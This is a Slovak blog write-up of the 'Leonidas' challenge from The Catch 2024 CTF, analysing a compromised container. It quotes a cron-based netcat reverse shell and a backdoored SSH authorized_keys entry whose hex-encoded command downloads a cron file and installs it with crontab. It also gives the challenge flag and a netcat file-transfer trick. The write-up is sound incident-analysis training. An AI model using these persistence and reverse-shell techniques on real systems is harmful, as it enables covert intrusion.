5. 11. 2024

CTF - The Catch 2024 - Leonidas

Náš IDS (intrusion detection system) zaznamenal podozrivú komunikáciu medzi zariadením srv-test23.cypherfix.tcc (10.99.24.23, 2001:db8:7cc::24:23) v našom obvode a C2 botnetom Leonidas300. Používateľ a správca zariadenia v jednom nemá poňatia ako je to možné a odmieta vypnúť dôležité testovacie zariadenie (ako VIP si zjavne môže dovoliť komplikovať vyšetrovanie). Ale je ochotný dodať ssh kľúč a testovacieho používateľa pre preskúmanie zariadenia.

Mojou úlohou je analýza incidentu, hlavne čo spôsobuje občasnú detekciu komunikácie s botnetom. Úloha je za 2 body.

IDS je dostupný na http://ids.cypherfix.tcc


Stiahol som si ssh-kľúč v ssh-key.zip, rozbalil súbor testuser, musel som mu nastaviť prísne práva (čítateľné len vlastníkom):

chmod 400 testuser
ssh -i ./testuser testuser@srv-test23.cypherfix.tcc


Systém IDS hlási, že sa zariadenie pripája. Vyzerá to, že novú konekciu spraví pri každej mojej (alebo cudzej) ssh konekcii naň. Pozriem si preto poriadne cieľový systém.

Podľa /etc/os-release ide o Debian, avšak príkazy sú veľmi obmedzené, netstat pre zobrazenie spojení nepozná, ale máme tu netcat, čo je zvláštne. Proces cez "ps" vypisuje len môj jeden, podozrivé.

testuser@38c62c70b10e:~$ which ps
/usr/local/bin/ps

testuser@38c62c70b10e:~$ cat /usr/local/bin/ps
#!/bin/bash
cat <<EOF
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           7  0.0  0.1  15420  9068 ?        S    18:17   0:00 sshd: /usr/sbin/sshd -D [liste
ner] 0 of 10-100 startups
root           8  0.0  0.1  17584 11196 ?        Ss   18:18   0:00  \_ sshd: testuser [priv]
testuser      11  0.0  0.0  17844  6972 ?        S    18:18   0:00      \_ sshd: testuser@pts/0
testuser      19  0.0  0.0   4188  3528 pts/0    S    18:18   0:00              \_ /bin/bash
testuser      25  0.0  0.0   8088  3920 pts/0    R+   18:39   0:00                  \_ /bin/ps $*
EOF
testuser@38c62c70b10e:~$ /usr/bin/ps
bash: /usr/bin/ps: Permission denied

Procesy sú síce zablokované, avšak cez "top" príkaz vidieť kopec pripojení ďalších kolegov analytykov. Žiadny podozrivý proces tu ale nebeží. Vo /var/log sa k ničom dopátrať nedá. Ako pozerám pripojené filesystémy príkazom mount, vidím že som v docker kontajneri a väčšina je read-only. Skript entrypoint.sh z rovnakého adresára ako podvrhnutý "ps" slúži na spustenie sshd pre možné ssh pripojenie.

Pozriem teda lepšie na môj domáci adresár.

testuser@38c62c70b10e:~$ ls -la
-rwx------ 1 testuser testuser  220 Mar 29  2024 .bash_logout
-rwxr--r-- 1 testuser testuser 1383 Oct  7 09:09 .bashrc
-rwx------ 1 testuser testuser   48 Oct  7 09:09 .cron
-rwx------ 1 testuser testuser  807 Mar 29  2024 .profile
drwx------ 1 testuser testuser 4096 Oct  7 09:09 .ssh
drwxr-xr-x 1 testuser testuser 4096 Oct  7 09:09 cats
drwx------ 1 testuser testuser 4096 Oct  7 09:09 download

testuser@38c62c70b10e:~$ cat .cron
*/5 * * * * nc 203.0.113.144 44444 -e /bin/bash

Podozrivý súbor .cron obsahuje reverzný shell, teda pripojí sa "von" a presmeruje komunikáciu na svoj shell. Takto prejde firewallom. Ďalej sú tu adresáre cats (s obrázkami) a download (s pdf).

Keď pozriem do adresára .ssh, je tu len súbor authorized_keys, avšak s podozrivým obsahom.

testuser@38c62c70b10e:.ssh$ cat authorized_keys
no-user-rc,no-X11-forwarding,command="`#! /bin/bash`;eval $(echo 6375726c202d73202d4120274c656f6e 69646173212049206861766520707265706172656420627265616b6661737420616e6420617465206865617274696c792 e2e2e20466f7220746f6e696768742c2077652064696e6520696e2068656c6c2121205530633564324a48624442615657 784655465661545646565a44645a5747513057564d784e4531556248424d565752445932706a64475177526b7057626a4 1392720687474703a2f2f31302e39392e32342e32343a38302f2e63726f6e202d6f202e63726f6e3b2063726f6e746162 202e63726f6e20323e202f6465762f6e756c6c3b2f62696e2f62617368 | xxd -r -ps)" ssh-rsa AAAAB3NzaC1yc2E AAAADAQABAAACAQDNGDvmucMzlKsOPWMBe7v9F37+1RVbw8CCpH1582MNz9FaURIV6R3jTI2pZP0fOqe1jMlOHuzjAp6Vl6rH rlxxDPuHObTCXCOIRflezC4h1+SU+crnhXK+X6aKc2M28/OxIWZRguTjYg0jVAIi2Z1iN/cd+YBuNDU3NjCDBSUshJFDDYR4y 9uvstLqK28hfRRdvxm5bhyBh2NXxcDtcKpRAnVfI4pL5QL3PbaB/WzVtcEpKMTvLb99UYg+iAK60wpXvG4FmJL8WlqSqJj7Ci 9Xi/51EHJpJksVTdGgwwpS6CSz7Inlxt7u5fRM/741sHuqrFxfsQOmZXUAOKmGGZjXdIwGoqVczHUQm16tBwg9gjs0ba85VSL tFmFP2rMxDjUV11NxteE1PyzCe2npOEtPl0rCJVnadaI4Ie30eEmEBclJRmcD7XC089VdjxHnyae+j1zABjeJ7pFn53GW/X+D qehoa/WYWjQDfkbVwqU4kAchGvWi+avQAlb6J6cUIK+C4AKddNB8jO1tjEXLnK1SdAVgTYZP8SAxlPjhnIl9xif69baO1vm12 3On/3sfow4/zQLFKR3oRroJKhTLV1vxjQMxUcnxnG7vbZWE9yR+4y/N5F7fV+uJs9/OYI4BTVEHR6ZlpGKK+j/SGHf1rWtM1R IANtQK4YPRDQFntvLoWQ== testuser@cypherfix.tcc testuser@38c62c70b10e:.ssh$ echo 6375726c202d73202d4120274c656f6e69646173212049206861766520707265 706172656420627265616b6661737420616e6420617465206865617274696c792e2e2e20466f7220746f6e696768742c2 077652064696e6520696e2068656c6c2121205530633564324a48624442615657784655465661545646565a44645a5747 513057564d784e4531556248424d565752445932706a64475177526b7057626a41392720687474703a2f2f31302e39392 e32342e32343a38302f2e63726f6e202d6f202e63726f6e3b2063726f6e746162202e63726f6e20323e202f6465762f6e 756c6c3b2f62696e2f62617368 | xxd -r -ps curl -s -A 'Leonidas! I have prepared breakfast and ate heartily... For tonight, we dine in hell! ! U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9' http://10.99.24.24:80/.cron - o .cron; crontab .cron 2> /dev/null;/bin/bash

Spustil som vnútro "eval" príkazu, teda to čo by sa malo vykonať a tak som preložil hex reťazec naspäť do binárnej formy. Vidím, že v user-agent reťazci (-A) posiela odkaz na web server 10.99.24.24 odkiaľ stiahne .cron súbor a zaradí ho do crontabu.

Zakódovanú časť reťazca v hlavičke možno dekódovať dva krát po sebe cez "from Base64" funkciu napr na CyberChef stránke. Po prvom dekódovaní totiž vidieť reťazec končiť znakom rovná sa.

HopliteID=FLAG{awxa-x19i-GBr7-wAIV}


Bonus

Po tých mačkách minule mi to nedalo a chcel som sa dopracovať ku obrázkom v adresári "cats". Scp mi nechcelo fungovať, ani po nastavení starého kompatibilného režimu. Mám tu ale netcat, tak je tu možnosť poslať binárne dáta cez vlastné tcp spojenie. 

U seba spustím:

nc -l -p 1234 | tar x < /dev/null

Na vzdialenom stroji toto:

tar cf - download | netcat 10.200.0.43 1234
tar cf - cats | netcat 10.200.0.43 1234
Cez jeden príkaz tak zabalím viaceré súbory v adresári a u seba ich rozbalím. Tu sú sľubované mačky.






Žiadne komentáre:

Zverejnenie komentára